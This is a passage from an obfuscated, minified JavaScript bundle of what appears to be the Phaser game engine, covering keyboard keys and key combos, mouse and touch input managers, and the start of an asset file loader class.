(_0x36024f[_0x12d53c] && this['emit'](_0x403758['KEY_UP'] + _0x36024f[_0x12d53c], _0x45d554), _0x45d554['cancelled'] || this['emit'](_0x403758['ANY_KEY_UP'], _0x45d554))), 0x1 === _0x45d554['cancelled'] && (_0x45d554['cancelled'] = 0x0))); } }, 'resetKeys': function () { for (var _0x53e8fd = this['keys'], _0x4980e6 = 0x0; _0x4980e6 < _0x53e8fd['length']; _0x4980e6++)_0x53e8fd[_0x4980e6] && _0x53e8fd[_0x4980e6]['reset'](); return this; }, 'shutdown': function () { this['removeAllKeys'](!0x0), this['removeAllListeners'](), this['sceneInputPlugin']['manager']['events']['off'](_0x3513a3['MANAGER_PROCESS'], this['update'], this), this['game']['events']['off'](_0x2e97df['BLUR'], this['resetKeys']), this['scene']['sys']['events']['off'](_0x266956['PAUSE'], this['resetKeys'], this), this['scene']['sys']['events']['off'](_0x266956['SLEEP'], this['resetKeys'], this), this['queue'] = []; }, 'destroy': function () { this['shutdown'](); for (var _0x3257be = this['keys'], _0x5258c1 = 0x0; _0x5258c1 < _0x3257be['length']; _0x5258c1++)_0x3257be[_0x5258c1] && _0x3257be[_0x5258c1]['destroy'](); this['keys'] = [], this['combos'] = [], this['queue'] = [], this['scene'] = null, this['settings'] = null, this['sceneInputPlugin'] = null, this['manager'] = null; }, 'time': { 'get': function () { return this['sceneInputPlugin']['manager']['time']; } } }); _0x2d1bad['register']('KeyboardPlugin', _0x4382b3, 'keyboard', 'keyboard', 'inputKeyboard'), _0x28777a['exports'] = _0x4382b3; }, 0x1059a: _0x3a6b8d => { _0x3a6b8d['exports'] = function (_0x312e74, _0x223d9a) { return _0x223d9a['timeLastMatched'] = _0x312e74['timeStamp'], _0x223d9a['index']++, _0x223d9a['index'] === _0x223d9a['size'] || (_0x223d9a['current'] = _0x223d9a['keyCodes'][_0x223d9a['index']], !0x1); }; }, 0x15798: (_0x170ce5, _0x4cf583, _0x3e06a7) => { var _0x28c16b = _0x3e06a7(0x145db), _0x30a669 = _0x3e06a7(0x176b2), _0x3ccf58 = _0x3e06a7(0x17534), _0x3e81ea = _0x3e06a7(0x10ca1), _0x19f0a9 = _0x3e06a7(0x16a83), _0x5752b1 = new _0x28c16b({ 'initialize': function (_0x4eb592, _0x2b71ea, _0x17184f) { if (void 0x0 === _0x17184f && (_0x17184f = {}), _0x2b71ea['length'] < 0x2) return !0x1; this['manager'] = _0x4eb592, this['enabled'] = !0x0, this['keyCodes'] = []; for (var _0x577009 = 0x0; _0x577009 < _0x2b71ea['length']; _0x577009++) { var _0x37a6c5 = _0x2b71ea[_0x577009]; 'string' == typeof _0x37a6c5 ? this['keyCodes']['push'](_0x37a6c5['toUpperCase']()['charCodeAt'](0x0)) : 'number' == typeof _0x37a6c5 ? this['keyCodes']['push'](_0x37a6c5) : _0x37a6c5['hasOwnProperty']('keyCode') && this['keyCodes']['push'](_0x37a6c5['keyCode']); } this['current'] = this['keyCodes'][0x0], this['index'] = 0x0, this['size'] = this['keyCodes']['length'], this['timeLastMatched'] = 0x0, this['matched'] = !0x1, this['timeMatched'] = 0x0, this['resetOnWrongKey'] = _0x3ccf58(_0x17184f, 'resetOnWrongKey', !0x0), this['maxKeyDelay'] = _0x3ccf58(_0x17184f, 'maxKeyDelay', 0x0), this['resetOnMatch'] = _0x3ccf58(_0x17184f, 'resetOnMatch', !0x1), this['deleteOnMatch'] = _0x3ccf58(_0x17184f, 'deleteOnMatch', !0x1); var _0x59fc0c = this; this['onKeyDown'] = function (_0x3a0c86) { !_0x59fc0c['matched'] && _0x59fc0c['enabled'] && _0x3e81ea(_0x3a0c86, _0x59fc0c) && (_0x59fc0c['manager']['emit'](_0x30a669['COMBO_MATCH'], _0x59fc0c, _0x3a0c86), _0x59fc0c['resetOnMatch'] ? _0x19f0a9(_0x59fc0c) : _0x59fc0c['deleteOnMatch'] && _0x59fc0c['destroy']()); }, this['manager']['on'](_0x30a669['ANY_KEY_DOWN'], this['onKeyDown']); }, 'progress': { 'get': function () { return this['index'] / this['size']; } }, 'destroy': function () { this['enabled'] = !0x1, this['keyCodes'] = [], this['manager']['off'](_0x30a669['ANY_KEY_DOWN'], this['onKeyDown']), this['manager'] = null; } }); _0x170ce5['exports'] = _0x5752b1; }, 0x10ca1: (_0x52691d, _0x2cff17, _0x39d7cc) => { var _0x62a180 = _0x39d7cc(0x1059a); _0x52691d['exports'] = function (_0x23a8a1, _0x4afcf5) { if (_0x4afcf5['matched']) return !0x0; var _0x2674b9 = !0x1, _0x6f7322 = !0x1; if (_0x23a8a1['keyCode'] === _0x4afcf5['current']) { if (_0x4afcf5['index'] > 0x0 && _0x4afcf5['maxKeyDelay'] > 0x0) { var _0x3e078b = _0x4afcf5['timeLastMatched'] + _0x4afcf5['maxKeyDelay']; _0x23a8a1['timeStamp'] <= _0x3e078b && (_0x6f7322 = !0x0, _0x2674b9 = _0x62a180(_0x23a8a1, _0x4afcf5)); } else _0x6f7322 = !0x0, _0x2674b9 = _0x62a180(_0x23a8a1, _0x4afcf5); } return !_0x6f7322 && _0x4afcf5['resetOnWrongKey'] && (_0x4afcf5['index'] = 0x0, _0x4afcf5['current'] = _0x4afcf5['keyCodes'][0x0]), _0x2674b9 && (_0x4afcf5['timeLastMatched'] = _0x23a8a1['timeStamp'], _0x4afcf5['matched'] = !0x0, _0x4afcf5['timeMatched'] = _0x23a8a1['timeStamp']), _0x2674b9; }; }, 0x16a83: _0x3c4c61 => { _0x3c4c61['exports'] = function (_0x1ce2e5) { return _0x1ce2e5['current'] = _0x1ce2e5['keyCodes'][0x0], _0x1ce2e5['index'] = 0x0, _0x1ce2e5['timeLastMatched'] = 0x0, _0x1ce2e5['matched'] = !0x1, _0x1ce2e5['timeMatched'] = 0x0, _0x1ce2e5; }; }, 0x169c4: _0x507550 => { _0x507550['exports'] = 'keydown'; }, 0x5b31: _0x4e969a => { _0x4e969a['exports'] = 'keyup'; }, 0x55c5: _0x280cc9 => { _0x280cc9['exports'] = 'keycombomatch'; }, 0xaec7: _0x43d6ec => { _0x43d6ec['exports'] = 'down'; }, 0xebb: _0x554b0a => { _0x554b0a['exports'] = 'keydown-'; }, 0xb516: _0x4483ca => { _0x4483ca['exports'] = 'keyup-'; }, 0x1279a: _0x350bb3 => { _0x350bb3['exports'] = 'up'; }, 0x176b2: (_0x5836f4, _0x5dc4d7, _0x1857de) => { _0x5836f4['exports'] = { 'ANY_KEY_DOWN': _0x1857de(0x169c4), 'ANY_KEY_UP': _0x1857de(0x5b31), 'COMBO_MATCH': _0x1857de(0x55c5), 'DOWN': _0x1857de(0xaec7), 'KEY_DOWN': _0x1857de(0xebb), 'KEY_UP': _0x1857de(0xb516), 'UP': _0x1857de(0x1279a) }; }, 0xc8f2: (_0x5b7e89, _0x38775e, _0xc10ca9) => { _0x5b7e89['exports'] = { 'Events': _0xc10ca9(0x176b2), 'KeyboardManager': _0xc10ca9(0x1347a), 'KeyboardPlugin': _0xc10ca9(0x70ae), 'Key': _0xc10ca9(0x7708), 'KeyCodes': _0xc10ca9(0xb3d0), 'KeyCombo': _0xc10ca9(0x15798), 'AdvanceKeyCombo': _0xc10ca9(0x1059a), 'ProcessKeyCombo': _0xc10ca9(0x10ca1), 'ResetKeyCombo': _0xc10ca9(0x16a83), 'JustDown': _0xc10ca9(0x16075), 'JustUp': _0xc10ca9(0x978c), 'DownDuration': _0xc10ca9(0x9097), 'UpDuration': _0xc10ca9(0xa0d2) }; }, 0x9097: _0x33128b => { _0x33128b['exports'] = function (_0x334e1b, _0x2bb022) { void 0x0 === _0x2bb022 && (_0x2bb022 = 0x32); var _0x521aa0 = _0x334e1b['plugin']['game']['loop']['time'] - _0x334e1b['timeDown']; return _0x334e1b['isDown'] && _0x521aa0 < _0x2bb022; }; }, 0x16075: _0x29cda0 => { _0x29cda0['exports'] = function (_0x2668fc) { return !!_0x2668fc['_justDown'] && (_0x2668fc['_justDown'] = !0x1, !0x0); }; }, 0x978c: _0x26ca32 => { _0x26ca32['exports'] = function (_0x1591bc) { return !!_0x1591bc['_justUp'] && (_0x1591bc['_justUp'] = !0x1, !0x0); }; }, 0x7708: (_0x445ee4, _0xa1f760, _0x3a27f5) => { var _0x8805ba = _0x3a27f5(0x145db), _0x5d29cf = _0x3a27f5(0xc668), _0x41a9c1 = _0x3a27f5(0x176b2), _0x5a78ec = new _0x8805ba({ 'Extends': _0x5d29cf, 'initialize': function (_0x4f4ba7, _0x1a7543) { _0x5d29cf['call'](this), this['plugin'] = _0x4f4ba7, this['keyCode'] = _0x1a7543, this['originalEvent'] = void 0x0, this['enabled'] = !0x0, this['isDown'] = !0x1, this['isUp'] = !0x0, this['altKey'] = !0x1, this['ctrlKey'] = !0x1, this['shiftKey'] = !0x1, this['metaKey'] = !0x1, this['location'] = 0x0, this['timeDown'] = 0x0, this['duration'] = 0x0, this['timeUp'] = 0x0, this['emitOnRepeat'] = !0x1, this['repeats'] = 0x0, this['_justDown'] = !0x1, this['_justUp'] = !0x1, this['_tick'] = -0x1; }, 'setEmitOnRepeat': function (_0x4bd0bd) { return this['emitOnRepeat'] = _0x4bd0bd, this; }, 'onDown': function (_0x2e28d0) { this['originalEvent'] = _0x2e28d0, this['enabled'] && (this['altKey'] = _0x2e28d0['altKey'], this['ctrlKey'] = _0x2e28d0['ctrlKey'], this['shiftKey'] = _0x2e28d0['shiftKey'], this['metaKey'] = _0x2e28d0['metaKey'], this['location'] = _0x2e28d0['location'], this['repeats']++, this['isDown'] ? this['emitOnRepeat'] && this['emit'](_0x41a9c1['DOWN'], this, _0x2e28d0) : (this['isDown'] = !0x0, this['isUp'] = !0x1, this['timeDown'] = _0x2e28d0['timeStamp'], this['duration'] = 0x0, this['_justDown'] = !0x0, this['_justUp'] = !0x1, this['emit'](_0x41a9c1['DOWN'], this, _0x2e28d0))); }, 'onUp': function (_0x3d074e) { this['originalEvent'] = _0x3d074e, this['enabled'] && (this['isDown'] = !0x1, this['isUp'] = !0x0, this['timeUp'] = _0x3d074e['timeStamp'], this['duration'] = this['timeUp'] - this['timeDown'], this['repeats'] = 0x0, this['_justDown'] = !0x1, this['_justUp'] = !0x0, this['_tick'] = -0x1, this['emit'](_0x41a9c1['UP'], this, _0x3d074e)); }, 'reset': function () { return this['isDown'] = !0x1, this['isUp'] = !0x0, this['altKey'] = !0x1, this['ctrlKey'] = !0x1, this['shiftKey'] = !0x1, this['metaKey'] = !0x1, this['timeDown'] = 0x0, this['duration'] = 0x0, this['timeUp'] = 0x0, this['repeats'] = 0x0, this['_justDown'] = !0x1, this['_justUp'] = !0x1, this['_tick'] = -0x1, this; }, 'getDuration': function () { return this['isDown'] ? this['plugin']['game']['loop']['time'] - this['timeDown'] : 0x0; }, 'destroy': function () { this['removeAllListeners'](), this['originalEvent'] = null, this['plugin'] = null; } }); _0x445ee4['exports'] = _0x5a78ec; }, 0xb3d0: _0x4d6794 => { _0x4d6794['exports'] = { 'BACKSPACE': 0x8, 'TAB': 0x9, 'ENTER': 0xd, 'SHIFT': 0x10, 'CTRL': 0x11, 'ALT': 0x12, 'PAUSE': 0x13, 'CAPS_LOCK': 0x14, 'ESC': 0x1b, 'SPACE': 0x20, 'PAGE_UP': 0x21, 'PAGE_DOWN': 0x22, 'END': 0x23, 'HOME': 0x24, 'LEFT': 0x25, 'UP': 0x26, 'RIGHT': 0x27, 'DOWN': 0x28, 'PRINT_SCREEN': 0x2a, 'INSERT': 0x2d, 'DELETE': 0x2e, 'ZERO': 0x30, 'ONE': 0x31, 'TWO': 0x32, 'THREE': 0x33, 'FOUR': 0x34, 'FIVE': 0x35, 'SIX': 0x36, 'SEVEN': 0x37, 'EIGHT': 0x38, 'NINE': 0x39, 'NUMPAD_ZERO': 0x60, 'NUMPAD_ONE': 0x61, 'NUMPAD_TWO': 0x62, 'NUMPAD_THREE': 0x63, 'NUMPAD_FOUR': 0x64, 'NUMPAD_FIVE': 0x65, 'NUMPAD_SIX': 0x66, 'NUMPAD_SEVEN': 0x67, 'NUMPAD_EIGHT': 0x68, 'NUMPAD_NINE': 0x69, 'NUMPAD_ADD': 0x6b, 'NUMPAD_SUBTRACT': 0x6d, 'A': 0x41, 'B': 0x42, 'C': 0x43, 'D': 0x44, 'E': 0x45, 'F': 0x46, 'G': 0x47, 'H': 0x48, 'I': 0x49, 'J': 0x4a, 'K': 0x4b, 'L': 0x4c, 'M': 0x4d, 'N': 0x4e, 'O': 0x4f, 'P': 0x50, 'Q': 0x51, 'R': 0x52, 'S': 0x53, 'T': 0x54, 'U': 0x55, 'V': 0x56, 'W': 0x57, 'X': 0x58, 'Y': 0x59, 'Z': 0x5a, 'F1': 0x70, 'F2': 0x71, 'F3': 0x72, 'F4': 0x73, 'F5': 0x74, 'F6': 0x75, 'F7': 0x76, 'F8': 0x77, 'F9': 0x78, 'F10': 0x79, 'F11': 0x7a, 'F12': 0x7b, 'SEMICOLON': 0xba, 'PLUS': 0xbb, 'COMMA': 0xbc, 'MINUS': 0xbd, 'PERIOD': 0xbe, 'FORWARD_SLASH': 0xbf, 'BACK_SLASH': 0xdc, 'QUOTES': 0xde, 'BACKTICK': 0xc0, 'OPEN_BRACKET': 0xdb, 'CLOSED_BRACKET': 0xdd, 'SEMICOLON_FIREFOX': 0x3b, 'COLON': 0x3a, 'COMMA_FIREFOX_WINDOWS': 0x3c, 'COMMA_FIREFOX': 0x3e, 'BRACKET_RIGHT_FIREFOX': 0xae, 'BRACKET_LEFT_FIREFOX': 0xaf }; }, 0x12368: (_0x3f2aa8, _0x438d0b, _0x10423f) => { var _0x20b0cf = _0x10423f(0xb3d0), _0x37f249 = {}; for (var _0xa1def in _0x20b0cf) _0x37f249[_0x20b0cf[_0xa1def]] = _0xa1def; _0x3f2aa8['exports'] = _0x37f249; }, 0xa0d2: _0x4d5389 => { _0x4d5389['exports'] = function (_0x4773e4, _0x566e97) { void 0x0 === _0x566e97 && (_0x566e97 = 0x32); var _0x4d6779 = _0x4773e4['plugin']['game']['loop']['time'] - _0x4773e4['timeUp']; return _0x4773e4['isUp'] && _0x4d6779 < _0x566e97; }; }, 0x14c6a: (_0x53f07e, _0x2f84a8, _0x3faa47) => { var _0x2a3644 = _0x3faa47(0x145db), _0xf8a409 = _0x3faa47(0x15d0d), _0x1e99fa = _0x3faa47(0x2016), _0x337248 = _0x3faa47(0x7433), _0x303f35 = new _0x2a3644({ 'initialize': function (_0x28cca8) { this['manager'] = _0x28cca8, this['preventDefaultDown'] = !0x0, this['preventDefaultUp'] = !0x0, this['preventDefaultMove'] = !0x0, this['preventDefaultWheel'] = !0x1, this['enabled'] = !0x1, this['target'], this['locked'] = !0x1, this['onMouseMove'] = _0x337248, this['onMouseDown'] = _0x337248, this['onMouseUp'] = _0x337248, this['onMouseDownWindow'] = _0x337248, this['onMouseUpWindow'] = _0x337248, this['onMouseOver'] = _0x337248, this['onMouseOut'] = _0x337248, this['onMouseWheel'] = _0x337248, this['pointerLockChange'] = _0x337248, this['isTop'] = !0x0, _0x28cca8['events']['once'](_0x1e99fa['MANAGER_BOOT'], this['boot'], this); }, 'boot': function () { var _0xd7b577 = this['manager']['config']; this['enabled'] = _0xd7b577['inputMouse'], this['target'] = _0xd7b577['inputMouseEventTarget'], this['passive'] = _0xd7b577['inputMousePassive'], this['preventDefaultDown'] = _0xd7b577['inputMousePreventDefaultDown'], this['preventDefaultUp'] = _0xd7b577['inputMousePreventDefaultUp'], this['preventDefaultMove'] = _0xd7b577['inputMousePreventDefaultMove'], this['preventDefaultWheel'] = _0xd7b577['inputMousePreventDefaultWheel'], this['target'] ? 'string' == typeof this['target'] && (this['target'] = document['getElementById'](this['target'])) : this['target'] = this['manager']['game']['canvas'], _0xd7b577['disableContextMenu'] && this['disableContextMenu'](), this['enabled'] && this['target'] && this['startListeners'](); }, 'disableContextMenu': function () { return this['target']['addEventListener']('contextmenu', function (_0x28b6c5) { return _0x28b6c5['preventDefault'](), !0x1; }), this; }, 'requestPointerLock': function () { if (_0xf8a409['pointerLock']) { var _0x5d5e45 = this['target']; _0x5d5e45['requestPointerLock'] = _0x5d5e45['requestPointerLock'] || _0x5d5e45['mozRequestPointerLock'] || _0x5d5e45['webkitRequestPointerLock'], _0x5d5e45['requestPointerLock'](); } }, 'releasePointerLock': function () { _0xf8a409['pointerLock'] && (document['exitPointerLock'] = document['exitPointerLock'] || document['mozExitPointerLock'] || document['webkitExitPointerLock'], document['exitPointerLock']()); }, 'startListeners': function () { var _0x37382a = this['target']; if (_0x37382a) { var _0x50353a = this, _0x4620f0 = this['manager'], _0x42d1ba = _0x4620f0['canvas'], _0x1a7516 = window && window['focus'] && _0x4620f0['game']['config']['autoFocus']; this['onMouseMove'] = function (_0x55873d) { !_0x55873d['defaultPrevented'] && _0x50353a['enabled'] && _0x4620f0 && _0x4620f0['enabled'] && (_0x4620f0['onMouseMove'](_0x55873d), _0x50353a['preventDefaultMove'] && _0x55873d['preventDefault']()); }, this['onMouseDown'] = function (_0x4a0ad2) { _0x1a7516 && window['focus'](), !_0x4a0ad2['defaultPrevented'] && _0x50353a['enabled'] && _0x4620f0 && _0x4620f0['enabled'] && (_0x4620f0['onMouseDown'](_0x4a0ad2), _0x50353a['preventDefaultDown'] && _0x4a0ad2['target'] === _0x42d1ba && _0x4a0ad2['preventDefault']()); }, this['onMouseDownWindow'] = function (_0x161485) { _0x161485['sourceCapabilities'] && _0x161485['sourceCapabilities']['firesTouchEvents'] || !_0x161485['defaultPrevented'] && _0x50353a['enabled'] && _0x4620f0 && _0x4620f0['enabled'] && _0x161485['target'] !== _0x42d1ba && _0x4620f0['onMouseDown'](_0x161485); }, this['onMouseUp'] = function (_0x195773) { !_0x195773['defaultPrevented'] && _0x50353a['enabled'] && _0x4620f0 && _0x4620f0['enabled'] && (_0x4620f0['onMouseUp'](_0x195773), _0x50353a['preventDefaultUp'] && _0x195773['target'] === _0x42d1ba && _0x195773['preventDefault']()); }, this['onMouseUpWindow'] = function (_0xd52862) { _0xd52862['sourceCapabilities'] && _0xd52862['sourceCapabilities']['firesTouchEvents'] || !_0xd52862['defaultPrevented'] && _0x50353a['enabled'] && _0x4620f0 && _0x4620f0['enabled'] && _0xd52862['target'] !== _0x42d1ba && _0x4620f0['onMouseUp'](_0xd52862); }, this['onMouseOver'] = function (_0xe2e3e0) { !_0xe2e3e0['defaultPrevented'] && _0x50353a['enabled'] && _0x4620f0 && _0x4620f0['enabled'] && _0x4620f0['setCanvasOver'](_0xe2e3e0); }, this['onMouseOut'] = function (_0xa6d690) { !_0xa6d690['defaultPrevented'] && _0x50353a['enabled'] && _0x4620f0 && _0x4620f0['enabled'] && _0x4620f0['setCanvasOut'](_0xa6d690); }, this['onMouseWheel'] = function (_0x4681a2) { !_0x4681a2['defaultPrevented'] && _0x50353a['enabled'] && _0x4620f0 && _0x4620f0['enabled'] && _0x4620f0['onMouseWheel'](_0x4681a2), _0x50353a['preventDefaultWheel'] && _0x4681a2['target'] === _0x42d1ba && _0x4681a2['preventDefault'](); }; var _0x5d330b = { 'passive': !0x0 }; if (_0x37382a['addEventListener']('mousemove', this['onMouseMove']), _0x37382a['addEventListener']('mousedown', this['onMouseDown']), _0x37382a['addEventListener']('mouseup', this['onMouseUp']), _0x37382a['addEventListener']('mouseover', this['onMouseOver'], _0x5d330b), _0x37382a['addEventListener']('mouseout', this['onMouseOut'], _0x5d330b), this['preventDefaultWheel'] ? _0x37382a['addEventListener']('wheel', this['onMouseWheel'], { 'passive': !0x1 }) : _0x37382a['addEventListener']('wheel', this['onMouseWheel'], _0x5d330b), window && _0x4620f0['game']['config']['inputWindowEvents']) try { window['top']['addEventListener']('mousedown', this['onMouseDownWindow'], _0x5d330b), window['top']['addEventListener']('mouseup', this['onMouseUpWindow'], _0x5d330b); } catch (_0x244408) { window['addEventListener']('mousedown', this['onMouseDownWindow'], _0x5d330b), window['addEventListener']('mouseup', this['onMouseUpWindow'], _0x5d330b), this['isTop'] = !0x1; } _0xf8a409['pointerLock'] && (this['pointerLockChange'] = function (_0x1b9043) { var _0x5c93ef = _0x50353a['target']; _0x50353a['locked'] = document['pointerLockElement'] === _0x5c93ef || document['mozPointerLockElement'] === _0x5c93ef || document['webkitPointerLockElement'] === _0x5c93ef, _0x4620f0['onPointerLockChange'](_0x1b9043); }, document['addEventListener']('pointerlockchange', this['pointerLockChange'], !0x0), document['addEventListener']('mozpointerlockchange', this['pointerLockChange'], !0x0), document['addEventListener']('webkitpointerlockchange', this['pointerLockChange'], !0x0)), this['enabled'] = !0x0; } }, 'stopListeners': function () { var _0x3b190b = this['target']; _0x3b190b['removeEventListener']('mousemove', this['onMouseMove']), _0x3b190b['removeEventListener']('mousedown', this['onMouseDown']), _0x3b190b['removeEventListener']('mouseup', this['onMouseUp']), _0x3b190b['removeEventListener']('mouseover', this['onMouseOver']), _0x3b190b['removeEventListener']('mouseout', this['onMouseOut']), window && ((_0x3b190b = this['isTop'] ? window['top'] : window)['removeEventListener']('mousedown', this['onMouseDownWindow']), _0x3b190b['removeEventListener']('mouseup', this['onMouseUpWindow'])), _0xf8a409['pointerLock'] && (document['removeEventListener']('pointerlockchange', this['pointerLockChange'], !0x0), document['removeEventListener']('mozpointerlockchange', this['pointerLockChange'], !0x0), document['removeEventListener']('webkitpointerlockchange', this['pointerLockChange'], !0x0)); }, 'destroy': function () { this['stopListeners'](), this['target'] = null, this['enabled'] = !0x1, this['manager'] = null; } }); _0x53f07e['exports'] = _0x303f35; }, 0x15426: (_0x3803df, _0x4291b0, _0x51d937) => { _0x3803df['exports'] = { 'MouseManager': _0x51d937(0x14c6a) }; }, 0x8d72: (_0x267732, _0x1c173d, _0x273238) => { var _0x310d5d = _0x273238(0x145db), _0x5928aa = _0x273238(0x2016), _0x4b772b = _0x273238(0x7433), _0x1131f2 = new _0x310d5d({ 'initialize': function (_0xe7eac9) { this['manager'] = _0xe7eac9, this['capture'] = !0x0, this['enabled'] = !0x1, this['target'], this['onTouchStart'] = _0x4b772b, this['onTouchStartWindow'] = _0x4b772b, this['onTouchMove'] = _0x4b772b, this['onTouchEnd'] = _0x4b772b, this['onTouchEndWindow'] = _0x4b772b, this['onTouchCancel'] = _0x4b772b, this['onTouchCancelWindow'] = _0x4b772b, this['isTop'] = !0x0, _0xe7eac9['events']['once'](_0x5928aa['MANAGER_BOOT'], this['boot'], this); }, 'boot': function () { var _0x1ca2c9 = this['manager']['config']; this['enabled'] = _0x1ca2c9['inputTouch'], this['target'] = _0x1ca2c9['inputTouchEventTarget'], this['capture'] = _0x1ca2c9['inputTouchCapture'], this['target'] ? 'string' == typeof this['target'] && (this['target'] = document['getElementById'](this['target'])) : this['target'] = this['manager']['game']['canvas'], _0x1ca2c9['disableContextMenu'] && this['disableContextMenu'](), this['enabled'] && this['target'] && this['startListeners'](); }, 'disableContextMenu': function () { return this['target']['addEventListener']('contextmenu', function (_0x333b20) { return _0x333b20['preventDefault'](), !0x1; }), this; }, 'startListeners': function () { var _0x3d4292 = this['target']; if (_0x3d4292) { var _0x3d7d96 = this, _0x24b07e = this['manager'], _0x401db3 = _0x24b07e['canvas'], _0x526ae5 = window && window['focus'] && _0x24b07e['game']['config']['autoFocus']; this['onTouchMove'] = function (_0x3fa80c) { !_0x3fa80c['defaultPrevented'] && _0x3d7d96['enabled'] && _0x24b07e && _0x24b07e['enabled'] && (_0x24b07e['onTouchMove'](_0x3fa80c), _0x3d7d96['capture'] && _0x3fa80c['cancelable'] && _0x3fa80c['preventDefault']()); }, this['onTouchStart'] = function (_0x183e4a) { _0x526ae5 && window['focus'](), !_0x183e4a['defaultPrevented'] && _0x3d7d96['enabled'] && _0x24b07e && _0x24b07e['enabled'] && (_0x24b07e['onTouchStart'](_0x183e4a), _0x3d7d96['capture'] && _0x183e4a['cancelable'] && _0x183e4a['target'] === _0x401db3 && _0x183e4a['preventDefault']()); }, this['onTouchStartWindow'] = function (_0x36fe43) { !_0x36fe43['defaultPrevented'] && _0x3d7d96['enabled'] && _0x24b07e && _0x24b07e['enabled'] && _0x36fe43['target'] !== _0x401db3 && _0x24b07e['onTouchStart'](_0x36fe43); }, this['onTouchEnd'] = function (_0x2cf98e) { !_0x2cf98e['defaultPrevented'] && _0x3d7d96['enabled'] && _0x24b07e && _0x24b07e['enabled'] && (_0x24b07e['onTouchEnd'](_0x2cf98e), _0x3d7d96['capture'] && _0x2cf98e['cancelable'] && _0x2cf98e['target'] === _0x401db3 && _0x2cf98e['preventDefault']()); }, this['onTouchEndWindow'] = function (_0x46bec9) { !_0x46bec9['defaultPrevented'] && _0x3d7d96['enabled'] && _0x24b07e && _0x24b07e['enabled'] && _0x46bec9['target'] !== _0x401db3 && _0x24b07e['onTouchEnd'](_0x46bec9); }, this['onTouchCancel'] = function (_0x3eb467) { !_0x3eb467['defaultPrevented'] && _0x3d7d96['enabled'] && _0x24b07e && _0x24b07e['enabled'] && (_0x24b07e['onTouchCancel'](_0x3eb467), _0x3d7d96['capture'] && _0x3eb467['preventDefault']()); }, this['onTouchCancelWindow'] = function (_0x53a597) { !_0x53a597['defaultPrevented'] && _0x3d7d96['enabled'] && _0x24b07e && _0x24b07e['enabled'] && _0x24b07e['onTouchCancel'](_0x53a597); }; var _0x3293af = this['capture'], _0x5965c6 = { 'passive': !0x0 }, _0x4e5856 = { 'passive': !0x1 }; if (_0x3d4292['addEventListener']('touchstart', this['onTouchStart'], _0x3293af ? _0x4e5856 : _0x5965c6), _0x3d4292['addEventListener']('touchmove', this['onTouchMove'], _0x3293af ? _0x4e5856 : _0x5965c6), _0x3d4292['addEventListener']('touchend', this['onTouchEnd'], _0x3293af ? _0x4e5856 : _0x5965c6), _0x3d4292['addEventListener']('touchcancel', this['onTouchCancel'], _0x3293af ? _0x4e5856 : _0x5965c6), window && _0x24b07e['game']['config']['inputWindowEvents']) try { window['top']['addEventListener']('touchstart', this['onTouchStartWindow'], _0x4e5856), window['top']['addEventListener']('touchend', this['onTouchEndWindow'], _0x4e5856), window['top']['addEventListener']('touchcancel', this['onTouchCancelWindow'], _0x4e5856); } catch (_0x558a38) { window['addEventListener']('touchstart', this['onTouchStartWindow'], _0x4e5856), window['addEventListener']('touchend', this['onTouchEndWindow'], _0x4e5856), window['addEventListener']('touchcancel', this['onTouchCancelWindow'], _0x4e5856), this['isTop'] = !0x1; } this['enabled'] = !0x0; } }, 'stopListeners': function () { var _0x22cafa = this['target']; _0x22cafa['removeEventListener']('touchstart', this['onTouchStart']), _0x22cafa['removeEventListener']('touchmove', this['onTouchMove']), _0x22cafa['removeEventListener']('touchend', this['onTouchEnd']), _0x22cafa['removeEventListener']('touchcancel', this['onTouchCancel']), window && ((_0x22cafa = this['isTop'] ? window['top'] : window)['removeEventListener']('touchstart', this['onTouchStartWindow']), _0x22cafa['removeEventListener']('touchend', this['onTouchEndWindow']), _0x22cafa['removeEventListener']('touchcancel', this['onTouchCancelWindow'])); }, 'destroy': function () { this['stopListeners'](), this['target'] = null, this['enabled'] = !0x1, this['manager'] = null; } }); _0x267732['exports'] = _0x1131f2; }, 0x17582: (_0xfff140, _0x393ca3, _0x5a6e20) => { _0xfff140['exports'] = { 'TouchManager': _0x5a6e20(0x8d72) }; }, 0xa153: (_0x22db14, _0x9627f4, _0x16766e) => { var _0x269ecb = _0x16766e(0x145db), _0x4686b3 = _0x16766e(0x5d62), _0xdf4bb5 = _0x16766e(0xd673), _0x20b75e = _0x16766e(0x17534), _0x452c3e = _0x16766e(0x18034), _0x2b1fb0 = _0x16766e(0xd2e), _0x41d9fa = _0x16766e(0x14998), _0x104521 = _0x16766e(0x169de), _0x511221 = new _0x269ecb({ 'initialize': function (_0x262b60, _0x3ca9f9) { if (this['loader'] = _0x262b60, this['cache'] = _0x20b75e(_0x3ca9f9, 'cache', !0x1), this['type'] = _0x20b75e(_0x3ca9f9, 'type', !0x1), !this['type']) throw new Error('Invalid\x20File\x20type:\x20' + this['type']); this['key'] = _0x20b75e(_0x3ca9f9, 'key', !0x1); var _0x20f9c5 = this['key']; if (_0x262b60['prefix'] && '' !== _0x262b60['prefix'] && (this['key'] = _0x262b60['prefix'] + _0x20f9c5), !this['key']) throw new Error('Invalid\x20File\x20key:\x20' + this['key']); var _0x23bbf1 = _0x20b75e(_0x3ca9f9, 'url'); void 0x0 === _0x23bbf1 ? _0x23bbf1 = _0x262b60['path'] + _0x20f9c5 + '.' + _0x20b75e(_0x3ca9f9, 'extension', '') : 'string' != typeof _0x23bbf1 || _0x23bbf1['match'](/^(?:blob:|data:|capacitor:\/\/|http:\/\/|https:\/\/|\/\/)/) || (_0x23bbf1 = _0x262b60['path'] + _0x23bbf1), this['url'] = _0x23bbf1, this['src'] = '', this['xhrSettings'] = _0x104521(_0x20b75e(_0x3ca9f9, 'responseType', void 0x0)), _0x20b75e(_0x3ca9f9, 'xhrSettings', !0x1) && (this['xhrSettings'] = _0x2b1fb0(this['xhrSettings'], _0x20b75e(_0x3ca9f9, 'xhrSettings', {}))), this['xhrLoader'] = null, this['state'] = 'function' == typeof this['url'] ? _0x4686b3['FILE_POPULATED'] : _0x4686b3['FILE_PENDING'], this['bytesTotal'] = 0x0, this['bytesLoaded'] = -0x1, this['percentComplete'] = -0x1, this['crossOrigin'] = void 0x0, this['data'] = void 0x0, this['config'] = _0x20b75e(_0x3ca9f9, 'config', {}), this['multiFile'], this['linkFile'], this['base64'] = 'string' == typeof _0x23bbf1 && 0x0 === _0x23bbf1['indexOf']('data:'), this['retryAttempts'] = _0x20b75e(_0x3ca9f9, 'maxRetries', _0x262b60['maxRetries']); }, 'setLink': function (_0x300539) { this['linkFile'] = _0x300539, _0x300539['linkFile'] = this; }, 'resetXHR': function () { this['xhrLoader'] && (this['xhrLoader']['onload'] = void 0x0, 